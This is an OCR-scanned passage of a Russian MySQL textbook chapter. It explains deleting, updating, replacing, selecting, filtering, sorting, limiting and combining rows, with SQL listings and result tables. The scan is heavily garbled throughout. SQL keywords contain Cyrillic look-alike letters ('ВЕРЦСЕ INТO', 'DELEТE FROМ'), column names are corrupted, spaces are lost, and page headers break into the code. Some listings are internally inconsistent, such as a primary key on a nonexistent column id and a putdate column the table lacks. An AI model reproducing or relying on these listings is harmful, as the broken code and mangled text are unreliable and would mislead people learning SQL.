гл ава 2. Работа с СУБД MySQL 135 - Есл и в операторе DELETE отсутствует условие WHERE , из табл ицы уд аляются все з аписи (листинг 2.43). листинг 2.43. Удаление всех записей таблицы ca talogs DELEТE FROM catalogs ; SELECT * FROM catalogs ; Empty set (0.00 sec) Применение ограничения LIMIT позволяет задать максимальное кол ичество ун ичтожаемых записей. В листинге 2.44 удал яется не более 3 записе й табли­ цы c atalogs. Листи нг 2.44. Удале ние записей из та блицы catalogs DE LEТE FROМ catalogs LIМIT З; Оп ератор TRUNCAT E TAВLE, в отличие от операто ра DELETE, полностью очища­ ет таблицу и не допускает условного удаления. То есть оператор T RUN CATE TAВLE аналогичен оператору DELETE без условия WHERE и ограниче­ ния LIMIT. В отличие от оператора DELETE удал ение происходит гораздо бы­ стрее, так как при этом н е выполняется перебор каждой записи. Пример ис­ пользования оператора TRUNCATE TAВLE приводится В листинге 2.45 . ЗАМЕЧАНИЕ Оптимизатор запросов СУБД MySQL автоматически испол ьзует оператор TRUNCATE TAВLE , есл и оператор DELETE не содержит WНЕRЕ-УСЛОВИЯ или ко нструкции LIMIT. Листинг 2.45. Удаление всех записей таблицы products ТRUNCAТE TAВLE products ; 2.14. Об н овление з аписе й Оп ерация обновления позволяет менять значения полей в уже существующих зап исях. Дл я обновления дан ных предназначены операторы ИРОАТ Е и RE PLACE. Первый обновляет отдел ьные поля в уже существующих записях, тогда как оператор RE PLACE больше похож на INSERT, за исключением того, что если старая запись в данной табл ице имеет то )ке значение индекса
136 Часть 1. Общие вопросы UN IQUE или PRIMARY КЕУ, что И новая, то старая запись перед занесением н о­ вой записи будет удалена. Оператор UPDATE имеет следующий синтакс ис: UPDATE [IGNORE ] tbl SET col l=exp rl [, co12= expr2 ...] [WНERE wh ere_ defini tion] [ORDER ВУ •.• ] [LIMIT rows ] Сразу после ключевого слова UPDATE в инструкции указывается табл ица tbl, которая подвергается изменению. В предложении SET перечисляются стол б­ цы, которые подвергаются обновлению, и устанавливаются их новые значе­ ния. Необязательное условие WHERE позволяет задать критерий отбора строк - обновлению будут подвергаться тол ько те строки, которые удовле­ творяют условию wh ere_defini tion. ЗАМЕЧА НИЕ Если в столбец с уникальными значениями (например, столбец с первич­ ным кл ючом) делается попытка вставки уже существующего значения, зто обычно заканчивается сообщением об ошибке. Подавить ге нерацию оши б­ ки этого ти па позволяет использование кл ючевого слова IGNORE , однако обновление, кото рое привело бы к дублированию уникал ьных значений, не осуществля ется и в это м случае. Заменим название элемента катал ога "Процессоры" в табл ице catalogs на "Процессоры (InteI)" (листинг 2.46). Листинг 2.46. Обновление таблицы catalogs SELECT * FROМ catalogs ; +------------+----- ------ -- - - - - - - -+ I id_catalog I пате +------------+ ------- ----- - - - - - - - -+ 1 Проце ссоры 2 Материнские платы 3 Видеоадаптеры 4 Же сткие диски 5 Оперативная память +------------+ --------- -----------+
� � а�в_а_ 2 _ . _ Р _ аб_ о _ m _а _ с __ С _ � � БД � М � у _ S _ Q � L ____________________ __ ______ __ ____ _ 1 _ 3 __ 7 {]PIJAТE catalogs SET name = 'Процессоры (Intel) ' WНERE name = 'Процессоры ' ; sELECT * FROM catalogs ; +-- - ---------+ ------------- -------+ I id_ catalog I пате +--- ---------+-------- ------------+ 1 Процессоры (Intel ) 2 Материнские платы 3 Ви деоадаптеры 4 Же сткие диски 5 Опер ативная память +---- - -------+ --------------------+ Оператор RE PLACE работает аналогично INSERT, за исключением того, что ес­ ли стар ая запись в данной табл ице имеет то же значение индекса UN I QUE или P R lМARY КЕУ, что И новая, то старая запись перед занесением новой будет удалена. Следует учитывать, что если не используются индексы UN I QUE ил и P R IMARY КЕУ, то применение команд ы RE PLACE не имеет смысла, так как ее действие при это м идентично ко манде INSERT. Синтакс ис оператора RENAМE аналогичен синтаксису операто ра INSERT : REPLACE [INTO ] tbl [(col_name, ...)] VALUE S (expression, ...) , ( ... ) , ... в табл ицу tbl вставляются значения, определяемые в списке после кл ючево­ го сл ова VALUE S. З адать порядок столбцов можно при помощи необязател ь н о­ го списка col_name, следующего за именем табл ицы tbl. Как и в сл учае опе­ ратора INSERT, операто р RE PLACE допускает многострочный формат. Пример исп ол ьзования оператора приведен в листинге 2.47, где в табл ицу catalogs добавляется пять новых записей. ЗАМЕЧАНИЕ М ноготабл ичный синта ксис для операто ров RE PLACE и INSERT не преду­ смотрен. Листинг 2.47. Испол ьзование оператора REPLACE SELECT * FROM catalogs ; +-- - - - - ---- --+ ---------- ----------+ 1 id_catalog 1 пате +- - - ----- --- - + ------ --------------+
138 1 Проце ссоры (Intel ) 2 Материн ские платы 3 Видеоадаптеры 4 Же сткие диски 5 Оперативная память +------------+--------------------+ ВЕРЦСЕ INТO catalogs VALUES (4 , ' Сетевые адаптеры ') , (5 , 'Програм мн ое обеспечение ') , (6, 'Мониторы '), (7 , 'ПериФерия ') , (8, 'CD-RW!DVD'); SELECT * F.ROM catalogs ORDER ВУ id_c atalog ; +------------+-------------------------+ I id_catalog I пате Т------------+----- --------------- - - - - - + 1 Процессоры (Int el) 2 Материнские платы 3 Видеоадаптеры 4 Сетевые адаптеры 5 Программное обеспечение 6 Мониторы 7 Периферия 8 CD-RW/DVD +------ -- ---- + - - --- ------ - - - - ------- --- + 2.15. Выборка данн ых Часть 1. Общие вопросы Рассмотрим запросы на выборку данных на примере табл ицы catalogs (лис­ тинг 2.48). Таблица имеет два поля : первичный кл юч id_catalog и название элемента катал ога пате . Листинг 2.48 . Таблица cata logs CREAТE TAВLE catalogs ( id_catalog INТ (ll) NOT NUL L , пате TINYТEXТ NOT NULL
гпава 2. Работа с СУБД MySQL 139 - pR!МARY КЕУ (id) ); INSERT INТO catalogs VALtJE S ( О, 'Процессоры ' ), (О , 'МатеРИНСЮ1е платы ') , (О , ' ВИдеоа,цanтеры' ) , (О , 'ЖеСТЮ1е дисЮ1 ') , ( О , 'Оперативная память') ; Выбрать все записи табл ицы catalogs можно при помощи запроса, пред­ ставленного в листинге 2.49. Листинг 2.49. Выборка да нных при помощи операто ра SELECT SELECT id_catalog , name FROM catalogs ; + -- - - --------+--------------------+ I id_c atalog I пате + - -----------+--------------------+ 3 Виде оадапт еры 4 Же сткие диски 2 Материн ские платы 5 Оперативная память 1 Проце ссоры + ---- --------+----- -------- - - - - - - -+ Если требуется вывести все столбцы табл ицы, необязател ьно перечислять их и мена после ключевого слова SELECT, достаточно заменить этот список сим­ воло м * (все столбцы) (листинг 2.50). Листинг 2.50. Использова ние символа * (все столбцы) SELECT * FROM catalogs ; + --------- - --+ -------------- -- - - - -+ I id_cata'l og I пате + ------ ------+------------- - ------+ 3 Видеоадаптеры 4 Же сткие диски 2 Материнские платы 5 Оперативная память 1 Проце ссоры +--- - - - -- - ---+-- ---------------- - -+
140 Часть 1. Общие вопросы к списку стол бцов в операторе SELECT прибегают в том случае, есл и необхо­ димо изменить порядок следо вания столбцов в результирующей табл ице ил и выбрать только часть столбцов (листинг 2.5 1). ЛИСТИНГ 2.51 . Изменение числа и порядка ВЫВОДИМЫХ столбцов SELECT пате , id_catalog F.ROМ catalogs ; +--------------------+ - - - - - - -- - - - -+ I пате I id_catalog I +--------------------+ -- - - - - - - - - - -+ Виде оадаптеры Же сткие диски Материнские платы Оперативная память Проце ссоры 3 4 2 5 1 +--------------------+------------+ 2.1 6. Условная выборка Ситуация , когда требуется изменить кол ичество выводимых строк, встреча­ ется гораздо чаще, чем ситуация, когда требуется изменить число и порядо к выводимых столбцов. Для ввода в SQL-запрос такого рода ограничений в операторе SELECT предназначено специальное ключевое сл ово WHERE , посл е которого следует логическое условие. Есл и запись удовлетворяет такому ус­ ловию, она попадает в результат выборки, в противном случае такая запись отбрасывается. В листинге 2.52 приводится пример запроса, извлекающего из табл ицы catalogs записи, чей первичный ключ id_catalog больше (оператор » 2. Листинг 2.52 . Использование конструкции WНERE SELECT * F.ROМ catalogs WНERE id_catalog > 2; +------------+------- --- -- - - - - - - - -+ I id_catalog I пате +------------+------ ------- - - - -- - -+ 3 Видеоадаптеры 4 Же сткие диски 5 Оперативная память + ------------+--------------------+
гл ава 2. Работа с СУБД MySQL 141 - опер атор больше > возвращает true (истину), если левый аргумент больше п равого, и false (ложь), если правый аргумент меньше левого . если логиче­ ское выражение возвращает true для текущей записи, запись попадает в ре­ зул ьтирующую таблицу. помим о оператора > имеется еще несколько логических операторов, пред­ ставл енных в табл . 2.7. Таблица 2. 7. Ло гические операторы Оператор О писа ние а>Ь Возвращает true, есл и аргумент а больше Ь, и false - В про- тивном случае а<Ь Возвращает true, есл и аргумент а меньше Ь, и false - В про- ти вном случае а>=Ь Возвращает true, есл и аргумент а больше или равен аргументу Ь, и false - в противном случае а<=Ь Возвращает true, есл и аргумент а меньше или равен аргумен- ту Ь, и false - В противном случае а=Ь Возвращает true, есл и аргумент а равен аргументу Ь, и false - В противном случае а<>Ь Возвращает true, есл и аргумент а не равен аргументу Ь, и false - В противном случае а!= Ь Аналогичен операто ру <> а<=>Ь Оператор экви валентности ; по своему действию аналогичен оператору равенства =, од нако допускает в качестве од ного из аргументов NULL Следует отметить, что логические операторы возвращают true (истина) и false (ложь) В стиле языка программирования С, то есть без использования с пециальных констант и обозначений. З а ложь считается О, а за истину любое ч исло, отличное от нуля . В этом легко убедиться, если вывести логическое выраже ние в результирующую табл ицу (листинг 2.53).
142 Часть 1. Общие вопросы Листинг 2.53. ВЫВОД логи ческих значений в резул ьтирующую табл ицу SELECT id_catalog , id_catalog > 2 FROM catalogs ; +------------+--------- --- - - --+ I id_catalog I id_catalog > 2 I +--- - -- --- ---+- ----- ----------+ 1 2 3 4 5 о о 1 1 1 +------------+- ---------- -- - - - + Условие может быть составным и объединяться при помощи логических операторов. В листи нге 2.54 используется составное условие: первичны й кл юч должен быть больше двух и меньше ил и равен 4. Дnя объеди нения этих двух условий испол ьзуется оператор AN D (И). ЗАМЕЧАНИЕ Помимо операто ра AN D (И), для объединения логических выражений может испол ь зоват ься оператор OR (ИЛИ). Листинг 2.54 . Использование соста вного логического условия SELECT * FROM catalogs WНEВE id_catalog > 2 AND id_catalog <= 4; +------------+ ------------ -- -+ I id_catalog I пате +------------+--- ------------+ 3 Видеоадаптеры 4 Же сткие диски +------------+ ---------------+ в табл . 2.8 и 2.9 представл ены правила, по которым операто ры AN D и OR объ­ единяют свои операнды .
глава 2. Работа с СУБД My SQL 143 - Та блица 2.8. Оператор AND операнд/резул ьтат Значения Первый операнд true true fa lse fa lse второй операнд true fa lse true false Результат true fa lse false false Как в идно из табл . 2.8, оператор AN D возвращает true тол ько В то м случае, еСЛИ оба его операнда принимают истинное значение (true). Таблица 2.9 . Оператор OR Операнд/резул ьтат Значения Первый операнд true true fa lse fa lse Второй операнд true fa lse true fa lse Резул ьтат true true true fa lse Ка к в идно из табл . 2.9, оператор OR возвращает fal se тол ько В том случае, если оба его операнда принимают ложное знач ение (false). Помимо бинарных логических операторов AN D и OR СУБД MySQL поддержи­ вает унарный оператор отрицания NOT . Оператор возвращает исти ну для ложно го аргумента и ложь для истинного аргумента. В листинге 2.55 де мон­ стрируется использование оператора NOT . Листинг 2.55. Использование оператора ЫОТ SELECT id_catalog , id_catalog > 2, ыот id_catalog > 2 FROM catalogs ; + --------- - - - +-- ------ ------ --+- --- --- - ---- --------+ I id_catalog I id_catalog > 2 I NOT id_catalog > 2 I +------------+----------------+--------------------+ 1 2 3 4 5 о о 1 1 1 1 1 О О О +----- - ------+----- -----------+ - ----- -- -- ------- ---+
144 Часть 1. Общие вопросы Помимо операторов OR и AN D язык SQL предоставляет еще один логически й оператор: исключающее ИЛИ - XOR. Правила, по которым работает дан ный операто р, представл ены в табл 2. 10. Та блица 2. 1 0 . Оператор XOR Операнд/резул ьтат Значения П ервый операнд tгue tгue false fa lse Второй операнд tгue fa lse tгue fa lse Резул ьтат false tгue tгue fa lse Оператор XOR можно эмулировать при помощи остальных логических опера­ торов по формуле: (а AND (NOT Ь)) OR ((NOT а) and Ь). Для выборки записей из определенного интервала испол ьзуется операто р BETWEEN min AN D mах, возвращающий зап иси, значения которых лежат в диа­ пазоне от min до mах (листинг 2.56). Листинг 2.56. Использование КО НСТРУКЦИИ BE ТWEEN SELECT * FROM catalogs WНERБ id_catalog ВEТWEEN 3 AND 4; +------------+---------- -----+ I id_catalog I пате +------------+-------- ---- - - -+ 3 I Видеоадаптеры I 4IЖесткиедискиI +------------+----- --- -- -- - - -+ Как видно из листинга 2.56, в резул ьтирующую табл ицу возвращаются запи­ си в диапазоне от 3 до 4. Существует конструкция, противоположенная конструкции BETWEEN - NOT BETWEEN, которая возвращает записи, не попадающие в интервал между min и mах (листинг 2.57). Листинг 2.57. Использование КОНСТРУКЦИИ NOT BE ТWEEN SELECT * FROM catalogs WНERБ id_catalog NOT ВEТWEEN 3 AND 4; +------------+------- ----- -- -- - - - -+ id_catalog I пате
глава 2. Работа с СУБД MySQL - +---- - -------+--------------------+ 2 Материнские платы 5 I Оперативная память I 1 I Проце ссоры + - - - - -- --- ---+--------------------+ 145 Иногда требуется извлечь записи, удовлетворяющие не диапазону, а списку, например, записи с id_cata1og из списка ( 1 , 2 , 5), как показано в листин­ ге 2 .58. Для этого предназначена конструкция IN. ЛистИНГ 2.58 . Ис пользование оператора IN SELECT * FROM catalogs WНERE id_catalog IN (1 ,2,5) ; + - - - - ---- ----+-- ------------------+ I id cata10g I пате +-- - ---------+--------------------+ 2 Материнские платы 5 I Оперативная память I 1 I Пр оцессоры +-- ----------+ --------------------+ Конструкция NOT IN является противоположной оператору IN и возвращает 1 (истина), если проверяемое значение не входит в список, и О (ложь), есл и оно присутствует в списке (листи нг 2.59). Листинг 2.59. Использование КОНСТРУКЦИИ NOT IN SELECT * FROM catalogs WНERE id_catalog NOТ IN (1,2,5) ; +------------+-- - ----- - - - - - - -+ I id_cata1og I пате + - ----- ------+------ - ----- - - -+ 3 I Видеоадаптеры I 4 I Жесткие диски I +--------- ---+------ ---- -----+ в конструкции WHERE могут использоваться не тол ько числовые столбцы . В листи нге 2.60 из табл ицы cata10gs извлекается запись, соответствующая элементу каталога "Процессоры". Листинг 2.60 . Работа с теl(СТО ВЫМИ полями SELECT * FROМ catalogs WНERE пате = I npоцессоры I ;
146 Ча сть /. Общие вопросы +------------+------ ----- -+ I id_catalog I пате + ------------+------- -----+ 1 I Проце ссоры I + ------------+------------+ Зачастую условную выборку с участием строк удобнее производить не п р и помощи оператора равенства =, а при помощи оператора LIKE, который п о­ зволяет использовать простейшие регулярные выражения. Оператор ЫКЕ имеет сл едующий синтаксис: expr LIКE ра t Оператор часто испол ьзуется в ко нструкции WHERE И возвращает 1 (истину), если выраже ние expr соответствует выражению ра t, И О - в противном слу­ чае. Гл авное преимущество операто ра ЫКЕ перед оператором равенства за­ ключается в возможности использования специальных символ ов, приведен­ ных в табл. 2.11. Та блица 2. 11. СпециаЛЬНbJе симв ОЛbJ, используеМbJе в операторе LII<E СИМВОЛ О писа ние % Соответствует любому кол ичеству символов, даже их отсут- ств ию - Соответствует ровно одному символу При помощи специальных символов, представл енных в табл . 2 .1 1, можно задать различные шаблоны соответствия. В листи нге 2.61 приводится пример выборки записей, которые содержат названия элементо в каталога, заканчи­ вающиеся на символ 'ы'. Листинг 2.61 . Извлечение из табл ицы catalogs записей, наз ва н и я которых заканчиваются на 'Ъ!! SELECT * FROM catalogs WНEБЕ пате LIКE '%ы' ; +------------+-- -------- -- - - - - - - -+ I id_catalog I пате +------------+-------- -- - - - - - - - - -+ 3 Виде оадаптеры 2 Материнские платы 1 Процессоры +------------+ ------ -------------+
гл ава 2. Работа с СУБД MySQL 147 - оператор NOT LIKE, показан ный в листи нге 2.62, противоположен по дейст­ в ию о перато ру LIKE и имеет следующий синтаксис: eXpr NOT LlКE раt оператор возвращает О, е сл и выражение expr соответствует выражению ра t, И 1 - в противном случае . Таким образом, с его помощью можно извлечь зап иси, кото рые не удо влетворяют указанному условию. ЛИСТИНГ 2.62. Испол ьзование оператора NOT LIКE SELECT * FROM catalogs WНERE паше NOT LIКE '%ы' ; +----- - - - ----+----- --- --- --- - - ----+ I id_catalog I пате +--- -- - - - ----+---- - - -- --------- -- -+ 4 I Жесткие диски 5 I Оперативная память I +---- --- --- --+------------------ - - + 2 . 17. П севдон и мы столбцов Им ена вычисл яемых столбцов, формируемые выражениями ил и функциями, ч асто достато чно дл инны и не удоб ны дл я использования в прикладных про­ гра ммах, выполняющих доступ к эл ементам в резул ьти рующей табл ице по имени столбца. В SELE ct-заnросе столбцу можно назначить новое имя при помощи оператора AS' . В листинге 2.63 резул ьтату функции ОАТЕ FORMAТ ( ) п рисваивается новый псевдоним printdate. Листинг 2.63 . Испол ьзова ние оператора АЭ SELECT id_catalog , пате , DAТE_FORМAT (putdate , '%d. %rn. %Y') AS printdate FROМ catalogs ; +------------+- - --- - - ---- - ------ - - +------------+ I id_c atalog I пате I printdate +------------+-- - ------ -- - -- - -- --- +--- - --------+ 3 Видеоадаптеры 10 .01.2007 4 Же сткие диски 05 .01.2007 2 Материнские платы 28 .12.2006 5 Оперативная память 20 .12.2006 1 Пр оцессоры 10 .01.2007 +------------+------ --- ----- - - --- - + - - - ---------+
148 Часть 1. Общие вопрось/ 2.18. С орти ровка записе й Как видно из предыдущих листингов данной гл авы, резул ьтат выборки пред­ ставляет собой записи, которые располагаются в порядке, в кото ром они хра­ нятся в базе данных. Однако часто требуется отсортировать значения по од­ ному из столбцов. Это осуществляется при помощи ко нструкции ORDER ВУ, кото рая сл едует за выраже нием SELECT. После конструкции ORDER ВУ указ ы­ вается стол бец (или столбцы), по которому следует сортировать данные. Как видно из листинга 2.64, первый запрос сортирует резул ьтат выборки п о полю id_ catalog, а вто рой - по полю пате . Листинг 2.64. Использование КО НСТРУКЦИИ ORDE R ВУ SELECT id_catalog , пате FROМ catalogs ORDER ВУ id_catalog ; +------------+- -- ---- - --- ------ - - -+ I id_catalog I пате +------------+- -- ------- - - - -- -- ---+ 1 Процессоры 2 Материнские платы 3 Видеоадаптеры 4 Жесткие диски 5 Оперативная память +------------+- - - - - --- -- ----- - --- -+ SELECT id_catalog , пате FROM catalogs ORDER ВУ пате ; +------------+- -- - -- - - - -- ---- --- --+ I id_catalog I пате +------------+- - - - -- ------ ---- --- -+ 3 Видеоадаптеры 4 Же сткие диски 2 Материнские платы 5 Оперативная память 1 Процессоры +------------+------ ---------- ----+ По умолчанию сортировка производится в прямом порядке, однако, доб авив после имени стол бца ключевое слово DE SC, можно добиться сортировки в об­ ратном порядке (листинг 2.65).
гла ва 2. Работа с СУБД My SQL 149 - лис тинг 2.65 . Обратная сортировка SELECT id_cata1og , пате FROМ cata10gs ORDER ВУ id_cata1og DESC ; +---- --- -- --- +--- -- ---- --- -------- + I id_c atalog I пате +--- -------- -+- ---- --- -------- -- - -+ 5 Оперативная память 4 Же сткие диски 3 Ви деоадаптеры 2 Материнские платы 1 Проце ссоры +-- - - -- -- - - --+ ----------------- ---+ Сортировку записей можно производить и по нескол ьким столбцам . Пусть и м еется табл ица tb l, состоя щая из двух столбцов: id_ catalog И putdate, со­ держащая записи с первичным кл ючом катал ога id_ catalog И дато й обраще­ ния в поле putdate. В листи нге 2.66 приводится дамп, позволяющий развер­ нуть табл ицу tbl. Листинг 2.66. Таблица tb1 CREAТETAВLEtbl( id_cata1og int (ll) NOT NUL L , putdate datetime NOT NUL L ); INSERT INТO tb1 VALUES ( 5 , '2007-01-04 05 :01:58') ; INSERT INТO tb1 VALUES ( 3, '2007-01-03 12 :10:45') ; INSERT INТO tb1 VALUES (4 , '2007-01-10 16 :10:25') ; INSERT INТO tb1 VALUES ( 1, '20 06-12-20 08 :34:09 ') ; INSERT INТO tb1 VALUES ( 2, '2007-01-06 20 :57:42') ; INSERT INТO tb1 VALUES (2, '2006-12-24 18:42:41'); INSERT INТO tb1 VALUES (5 , '2006-12 -25 09 :35:01') ; INSERT INТO tb1 VALUES ( 1 , '2006-12-23 15 :14 :26') ; INSERT INТO tb1 VALUES (4 , '2006-12 -26 21 :32:00') ; INSERT INТO tb1 VALUES ( 3 , '20 06-12-25 12 :11:10') ; Для того чтобы отсортировать табл ицу tbl сначала по полю id_ catalog, а зате м по полю putdate, можно воспользоваться запросом, представленным в листи нге 2.67.
150 Часть 1. Общие вопрось/ Ли<:тинг 2.67. Сортировка таблицы по двум столбца м SELECT * FROM tbl ORDER ВУ id_catal o9 , putdate DE SC ; +- - -- - --- ----+- -- - -----------------+ I id_catalog I putdate +------------+ - - ------ -------------+ 1 2006-12 -23 15 :14:26 1 2006- 12-20 08 :34:09 2 2007-01 -06 20 :57:42 2 2006-12 - 24 18 :42:41 3 2007- 01-03 12 :10:45 3 2006- 12- 25 12 :11:10 4 2007-01 -10 16 :10:25 4 2006-12 - 26 21 :32:00 5 2007-01-04 05 :01:58 5 2006-12-25 09 :35:01 +------------+ ------- -- - -----------+ Как видно из листинга 2.67, записи в табл ице tbl сначала сортируются по стол бцу id_ catalog, а совпадающие в рамках одного значения id_ cata1og записи сортируются по полю putdate В обратном порядке. Следует отметить, что кл ючевое слово DESC относится тол ько К полю putdate. Для того чтобы отсортировать оба столбца в обратн ом порядке, потребуется снабдить клю­ чевым словом как стол бец id_ cata1og, так и put date (л истинг 2.68). Л истинг 2.68. Обратная сортировка по двум стол бца м SELECT * FROM tbl ORDER ВУ id_catalog DESC , putdate DE SC ; +--- - ------ --+-- ----- --------------+ I id_catalog I putdate +------------+ - --------------------+ 5 2007- 01- 04 05 :01:58 5 2006-12 -25 09 :35:01 4 2007-01- 10 16: 1 0:25 4 2006-12- 26 21 :32:00 3 2007-01 - 03 12 :10:45 3 2006-12-25 12:11:10 2 2007-01- 06 20 :57:42 2 2006-12 - 24 18 :42:41 1 2006-12-23 15 :14:26 1 2006-12-20 08 :34:09 +------------+---------------------+
гл ава 2. Работа с СУБД MySQL 151 - Для п рямой сортировки таюке существует кл ючевое слово ASC (в проти вовес КJ1l0че вому слову DE SC) , но, поскол ьку по умолчанию записи сорти руются в прямо м порядке, данное кл ючевое слово часто опускают. 2.19. ВЫВОД з а писе й в случа й ном порядке Для в ывода записей в случай ном порядке испол ьзуется конструкция QRDER ВУ RAND ( ) . в листинге 2.69 демонстрируется вывод содержимого таб­ л и цы catalogs В случайном порядке . листинг 2.69. ВЫВОД содержимого та блицы В сл учайном порядке SELECT id_catalog , пате FROМ catalogs ORDER ВУ RAND() ; +--- -- - --- -- -+ ------ --------------+ I id_catalog I пате + - - - ---------+ ------------ --------+ 4 Же сткие диски 5 Оперативная память 2 Материнские платы 1 Проце ссоры 3 Видеоадаптеры +------------+ --------------------+ Если требуется вывести лишь одну случайную запись, испол ьзуется конст­ рукция LIMIT 1 (листинг 2.70). Листинг 2.70. ВЫВОД од ной случай ной записи SELECT id_catalog , пате FROM catalogs ORDER ВУ RAND() LIМIT 1; + ------------+ ------------ -------+ I id_catalog I пате + ------------+ --- ----- ---------- -+ 2 I Материнские платы I +- -----------+ --------- ----------+ 2.20. О гранич е ние выборки Результат выборки может содержать сотн и и тысячи записей. Их вывод и об­ работка занимают значител ьное время и серьезно загружают сервер базы
152 Часть 1. Общие вопрось/ дан ных, поэто му информацию часто разби вают на страницы и предоставля_ ют ее пользователю порциями. Из влечение тол ько части запроса требует меньше времени и вычислений, кроме то го, пользовател ю часто бывает дос­ тато чно просмотреть первые несколько записей. Постраничная навигация испол ьзуется при помощи кл ючевого сл ова LIMIT, за которым следует кол и­ чество записей, выводимых за оди н раз. В листинге 2.7 1 извлекаются пеРВые две записи табл ицы catalogs, при это м одновременно осуществляется их обратная сортировка по полю id_catalog. Листинr 2.71. Ис пользова ние кл ючевого слова LIМ! T SELECT id_catalog , пате FROM catalogs ORDER ВУ id_catalog DE SC LIМIT 2; +------------+- ---- - - -- --- - -- -- -- -+ 1 id_catalog 1 пате +------------+--------------------+ 5 Оперативная память 4 Же сткие диски +-- - ---------+-- ------------ -- - - --+ Для того чтобы извлечь сл едующие две записи, испол ьзуется кл ючевое сло в о LIMIT с двумя числами: первое указывает позицию, начиная с кото рой необ ­ ходимо вернуть резул ьтат, а второе - кол ичество извлекаемых записей (л и с­ тинг 2.72). Листинг 2.72. Извлечение за писей, начиная со второй позиции SELECT id_catalog , name FROM catalogs ORDER ВУ id_catalog DE SC LIМIT 2, 2; + ------------+ ---- ----- ------- - - -+ 1 id_catalog 1 пате +------------+----- ------- - -- - - - -+ 3 1 Видеоадаптеры 2 1 Материнские платы +------------+------ --- ----- -- - - -+ Для извлечения сл едующих двух записей необходимо использовать ко нст­ рукцию LIMIT 4, 2.
глава 2. Работа с СУБД MySQL - 153 2.21. ВЫВОД ун икаль ных знач ени й О че нь часто встает задача выбора из табл ицы уникальных значений. Вос­ пользуе мся табл ицей tbl из листинга 2.68. Пусть требуется вывести все зна­ Че НИЯ поля id_ catalog; для этого можно воспользоваться запросом, пред­ ставленным в листинге 2.73. листи нг 2.73. Выборка значений поля �d_cata log из таблицы фl SELECT id_catalog FROM tbl ORDER ВУ id_catalog ; +------------+ I id_c atalog I +------- - ----+ 1 1 2 2 3 3 4 4 5 5 + -- - - --------+ Как видно из листинга 2.73 , результат не совсем удобен для восприятия. Бы­ л о бы лучше, если бы запрос вернул уникальные значения столбца id_c atalog. Для этого перед именем стол бца можно использовать кл ючевое сло во DISTINCT, которое предписывает MySQL извлекать тол ько уникальные з н ачения (листинг 2.74). ЗАМЕЧАНИЕ Кл ючевое слово DISTINCT имеет синоним - DISTINCTROW . Листинг 2.74. Выборка уtlикальных зна чений SELECT DISTINCT id_catalog FROM tbl ORDER ВУ id_catalog ; +------- - -- --+ I id_catalog I
154 + ------------+ 1 2 3 4 5 + ------------+ Часть 1. Общие вопрось/ Как показано в листи нге 2.74, резул ьтат запроса не содержит ни одного по­ вторяющегося значения. Для ключевого слова DISTINCT имеется проти воположенное сл ово ALL, кото­ рое предписывает извлечение всех значений стол бца, в том числе и повто­ ряющихся . Поскольку такое поведение установлено по умолчанию, ключевое слово ALL часто опускают. Часто для извлечения уникальных записей прибегают таЮI<е к конструкции GROU P ВУ, содержащей имя столбца, по которому группируется резул ьтат (листинг 2.75). ЗАМЕЧАНИЕ КОНСТРУКЦИЯ GROU P ВУ располагается в SELEct-запросе перед КОНСТРУК­ ЦИЯМИ ORDER ВУ И LIMIT. ЛИСТИНГ 2.75 . Использование КОНСТРУКЦИИ GROU1? ВУ SELECT id_catalog FROM tbl GROU1? ВУ id_catalog ORDER ВУ id_catalog ; +------------+ I id_catalog I + ------------+ 1 2 3 4 5 +------------+
гл ава 2. Работа с СУБД MySQL - 155 2.22 . Объединение таблиц Как б ыло сказ ано ранее, оператор SELECT возвращает резул ьтат в виде табл и­ цы. Есл и формат резул ьти рующих табл иц (число, порядок следования и тип стол бцов) совпадает, то возможно объединение резул ьтатов выпол нения двух о п ерато ров SELECT в одну резул ьтирующую табл ицу. Это достигается с ис­ п ол ьзованием операто ра UN ION. Пусть имеются два SELEct-запроса, пред­ ставленные в листинге 2.76. л истинг 2.76 . Одиночные SELEct-запрос ы SELECT id_catalog FROM catalogs ; +------------+ I id_c atalog I + --- - - -------+ 1 2 3 4 5 + - - ----------+ SELECTid+5FROMtbl; +---- ----------+ Iid_order+5I +--- ---------- - + 6 7 8 9 10 +--------------+ Объединить результаты из этих двух таблиц можно, соединив два запроса S E LECT при помощи ключевого слова UN ION, как это продемонстр ировано в листи нге 2.77.
156 Л и стинг 2.77. Использование ключевого слова UNION SELECT id_catalog FROM catalogs UNION SELECTid+5FROMtbl; +------------+ I id_catalog I + - ----------- + 1 2 3 4 5 6 7 8 9 10 +-------- ----+ Часть 1. Общие вопрось/ Во втором запросе SELECT, производящем выборку из табл ицы tbl, к значе­ нию первичного кл юча i d добавляется значение 5, и, таким образом, все зна­ чения в результирующей табл ице становятся уникальными. Однако есл и р е­ зул ьтирующая табл ица содержит повторяющиеся строки, СУБД MySQL автоматически отбрасывает дубл икаты. Из менить поведение по умолчан ию можно при помощи ключевого слова ALL, кото рое добавляется после опе р а­ тора UN ION. Использование UN ION ALL требует, чтобы возвращались все стро­ ки из обеих результирующих табл иц (листинг 2.78). Листинг 2.78. Ис пользование кл ючевого слова UNION ALL SELECT id_catalog FROM catalogs UNION ALL SELECT id FROМ tbl; + - -----------+ I id_catalog I + - - ----------+ 1 2 3
гла ва 2. Работа с СУБД My SQL 157 - 4 5 1 2 3 4 5 +--- --------- + 2.23 . Функции MySQL СУБД MySQL предоставляет широкий набор встроенных функций, которые м ожно использовать для преобразования дан ных. В дан ном раздел е будут рассмотрены наиболее часто используемые функции. За полным списком функций следует обратиться либо к официальной документаци и, либо к од­ н ой из наших книг, полностью посвященных MySQL. ЗАМЕЧАНИЕ Отличител ьной черто й MySQL является то , что при использовании функций пробеЛbl между именем функции и КРУГЛ blМИ скобками неДОПУСТИ МbI, та к, написание NOW ( ) ко рректн о, а NOW () - нет. СУБД MySQL можно заста­ вить игнорировать пробеЛbl между именем функции и КРУГЛ blМИ скобками, если запустить сервер с параметром --sql-mоdе=IGNОRЕ -SРАСЕ или по­ местить в секцию [mys ql d] директиву sql-mоdе=IGNОRЕ-SРАСЕ. 2.23.1 . Математические функции М�тематические функции предназначены для выполнения разнообразных матеМ"атических расчетов. В табл . 2. 12 представлен список мате мати ческих функций, доступных в СУБД MySQL. Та блица 2. 12. Ма тематические функц ии MySQL Функция Описание ABS (X) Возвращает абсолютное значение аргумента Х ACOS (X) Возвращает арккосинус числа Х или NULL, если зна- чение Х ВblХОДИТ из диапазона от -1 до 1
